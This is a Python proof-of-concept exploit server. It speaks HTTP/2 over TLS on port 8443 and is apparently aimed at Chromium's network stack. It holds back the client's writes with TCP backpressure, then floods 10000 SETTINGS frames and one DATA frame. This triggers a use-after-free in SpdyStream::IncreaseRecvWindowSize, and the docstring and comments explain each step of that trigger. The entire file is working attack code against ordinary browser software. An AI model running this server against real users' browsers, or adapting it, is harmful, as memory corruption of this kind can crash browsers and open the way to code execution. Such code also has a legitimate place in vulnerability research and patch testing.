#!/usr/bin/env python3
"""Malicious HTTP/2 server for SpdyStream::IncreaseRecvWindowSize UAF.

Two-stream approach:
  Stream 1 (GET /data): response delivered to JS; reader.read() sets user_buffer_
  Stream 3 (POST /fill): large body fills TCP send buffer; in_flight_write_ blocks write loop

Phase 2: 10000 SETTINGS + DATA on stream 1.
  DoBufferedReadCallback dequeues the DATA buffer.  SpdyBuffer::ConsumeHelper
  fires two consume callbacks in registration order:
    1. Session-level OnReadBufferConsumed  -> session WINDOW_UPDATE (capped 10000, no drain)
    2. Stream-level OnReadBufferConsumed   -> stream WINDOW_UPDATE (capped 10001 > 10000 -> DRAIN)
  DoDrainSession synchronously frees the SpdyStream.  IncreaseRecvWindowSize
  then writes unacked_recv_window_bytes_ = 0 on the freed object -> UAF.
"""
import socket
import ssl
import struct
import time
import threading
import functools
print = functools.partial(print, flush=True)

DATA = 0
HEADERS = 1
RST_STREAM = 3
SETTINGS = 4
PING = 6
GOAWAY = 7
WINDOW_UPDATE = 8

SETTINGS_INITIAL_WINDOW_SIZE = 0x4
SETTINGS_MAX_CONCURRENT_STREAMS = 0x3
SETTINGS_MAX_FRAME_SIZE = 0x5

H2_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'

def make_frame(ftype, flags, stream_id, payload=b''):
    hdr = struct.pack('!I', len(payload))[1:]
    hdr += struct.pack('!BB', ftype, flags)
    hdr += struct.pack('!I', stream_id & 0x7FFFFFFF)
    return hdr + payload

def make_settings(*pairs):
    payload = b''
    for ident, val in pairs:
        payload += struct.pack('!HI', ident, val)
    return make_frame(SETTINGS, 0, 0, payload)

def make_settings_ack():
    return make_frame(SETTINGS, 0x01, 0)

def make_window_update(stream_id, increment):
    return make_frame(WINDOW_UPDATE, 0, stream_id,
                      struct.pack('!I', increment & 0x7FFFFFFF))

def make_data(stream_id, data, end_stream=False):
    return make_frame(DATA, 0x01 if end_stream else 0x00, stream_id, data)

def hpack_indexed(index):
    if index < 127:
        return bytes([0x80 | index])
    r = bytes([0xFF])
    index -= 127
    while index >= 128:
        r += bytes([index % 128 + 128])
        index //= 128
    r += bytes([index])
    return r

def hpack_literal_new(name, value):
    r = b'\x00'
    nb = name.encode() if isinstance(name, str) else name
    vb = value.encode() if isinstance(value, str) else value
    r += _encode_int(len(nb), 7) + nb
    r += _encode_int(len(vb), 7) + vb
    return r

def _encode_int(val, prefix_bits):
    mx = (1 << prefix_bits) - 1
    if val < mx:
        return bytes([val])
    r = bytes([mx])
    val -= mx
    while val >= 128:
        r += bytes([val % 128 + 128])
        val //= 128
    r += bytes([val])
    return r

def recv_exact(conn, n, timeout=10):
    conn.settimeout(timeout)
    buf = b''
    while len(buf) < n:
        chunk = conn.recv(n - len(buf))
        if not chunk:
            raise ConnectionError("connection closed")
        buf += chunk
    return buf

def read_frame(conn, timeout=10):
    try:
        hdr = recv_exact(conn, 9, timeout)
    except (ConnectionError, socket.timeout):
        return None
    length = struct.unpack('!I', b'\x00' + hdr[:3])[0]
    ftype = hdr[3]
    flags = hdr[4]
    stream_id = struct.unpack('!I', hdr[5:9])[0] & 0x7FFFFFFF
    payload = recv_exact(conn, length, timeout) if length > 0 else b''
    return ftype, flags, stream_id, payload

def read_frames_until_headers(conn, timeout=30):
    while True:
        f = read_frame(conn, timeout=timeout)
        if f is None:
            return None, None
        ftype, flags, stream_id, payload = f
        if ftype == HEADERS:
            return stream_id, payload

def handle_conn(conn, addr):
    print(f"[+] Connection from {addr}")
    try:
        preface = recv_exact(conn, len(H2_PREFACE))
        if preface != H2_PREFACE:
            print("[-] Bad H2 preface")
            return

        client_settings = read_frame(conn)
        if client_settings is None or client_settings[0] != SETTINGS:
            print("[-] Expected client SETTINGS")
            return
        print("[+] Got client SETTINGS")

        server_settings = make_settings(
            (SETTINGS_INITIAL_WINDOW_SIZE, 16 * 1024 * 1024),
            (SETTINGS_MAX_CONCURRENT_STREAMS, 100),
            (SETTINGS_MAX_FRAME_SIZE, 16384),
        )
        conn.sendall(server_settings)
        conn.sendall(make_settings_ack())
        conn.sendall(make_window_update(0, 16 * 1024 * 1024))
        print("[+] Sent server SETTINGS + SETTINGS_ACK + WINDOW_UPDATE")

        # Read GET HEADERS (stream 1)
        get_stream_id, _ = read_frames_until_headers(conn)
        if get_stream_id is None:
            print("[-] No GET HEADERS received")
            return
        print(f"[+] Got GET request on stream {get_stream_id}")

        # Send response HEADERS for GET (body withheld until Phase 2)
        hpack_payload = hpack_indexed(8)  # :status: 200
        hpack_payload += hpack_literal_new('content-type', 'application/octet-stream')
        hpack_payload += hpack_literal_new('access-control-allow-origin', '*')
        hpack_payload += hpack_literal_new('access-control-expose-headers', '*')
        resp_headers = make_frame(HEADERS, 0x04, get_stream_id, hpack_payload)
        conn.sendall(resp_headers)
        print(f"[+] Sent response HEADERS on stream {get_stream_id}")

        # Read POST HEADERS (stream 3)
        post_stream_id, _ = read_frames_until_headers(conn)
        if post_stream_id is None:
            print("[-] No POST HEADERS received")
            return
        print(f"[+] Got POST request on stream {post_stream_id}")

        resp_headers2 = make_frame(HEADERS, 0x04, post_stream_id, hpack_payload)
        conn.sendall(resp_headers2)
        print(f"[+] Sent response HEADERS on stream {post_stream_id}")

        # PHASE 1: Wait for TCP backpressure + timer condition.
        # The POST body (8 MB) fills the TCP send buffer.  The server
        # deliberately does not read from the socket, so the client-side
        # write loop blocks with in_flight_write_ set.
        # We also need >5 s to elapse so that the
        # TimeToBufferSmallWindowUpdates condition is satisfied on both
        # session-level and stream-level flow control.
        print("[+] PHASE 1: Waiting 10 s for TCP backpressure + timer...")
        time.sleep(10)

        # PHASE 2: Send 10000 empty SETTINGS + 1 DATA on stream 1.
        # The client enqueues 10000 SETTINGS ACKs (all capped frames).
        # The write loop cannot flush them because in_flight_write_ is set.
        # When DoBufferedReadCallback fires, Dequeue triggers consume
        # callbacks.  The session-level callback sends a session
        # WINDOW_UPDATE (capped = 10000; no drain).  The stream-level
        # callback sends a stream WINDOW_UPDATE (capped = 10001 > 10000;
        # DoDrainSession fires, freeing the SpdyStream while
        # IncreaseRecvWindowSize is still on the stack).
        print(f"[+] PHASE 2: Sending 10000 SETTINGS + DATA on stream "
              f"{get_stream_id}...")
        empty_settings = make_frame(SETTINGS, 0, 0, b'')
        payload = b'X' * 1024
        data_frame = make_data(get_stream_id, payload, end_stream=False)
        batch = empty_settings * 10000 + data_frame
        total_sent = 0
        chunk_size = 16384
        while total_sent < len(batch):
            end = min(total_sent + chunk_size, len(batch))
            try:
                sent = conn.send(batch[total_sent:end])
                total_sent += sent
            except (BlockingIOError, ssl.SSLWantWriteError):
                time.sleep(0.1)
                continue
        print(f"[+] Sent {total_sent} bytes ({total_sent // 9} frames)")
        print("[+] UAF should trigger in IncreaseRecvWindowSize after DRAIN")

        time.sleep(30)

    except Exception as e:
        print(f"[-] Error: {e}")
        import traceback
        traceback.print_exc()
    finally:
        try:
            conn.close()
        except:
            pass

def main():
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain('cert.pem', 'key.pem')
    ctx.set_alpn_protocols(['h2'])

    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(('0.0.0.0', 8443))
    srv.listen(5)
    print("[*] H2 exploit server listening on :8443")

    while True:
        client_sock, addr = srv.accept()
        client_sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096)
        try:
            tls = ctx.wrap_socket(client_sock, server_side=True)
        except ssl.SSLError as e:
            print(f"[-] TLS handshake failed: {e}")
            client_sock.close()
            continue
        negotiated = tls.selected_alpn_protocol()
        if negotiated != 'h2':
            print(f"[-] ALPN negotiated: {negotiated}, expected h2")
            tls.close()
            continue
        t = threading.Thread(target=handle_conn, args=(tls, addr), daemon=True)
        t.start()

if __name__ == '__main__':
    main()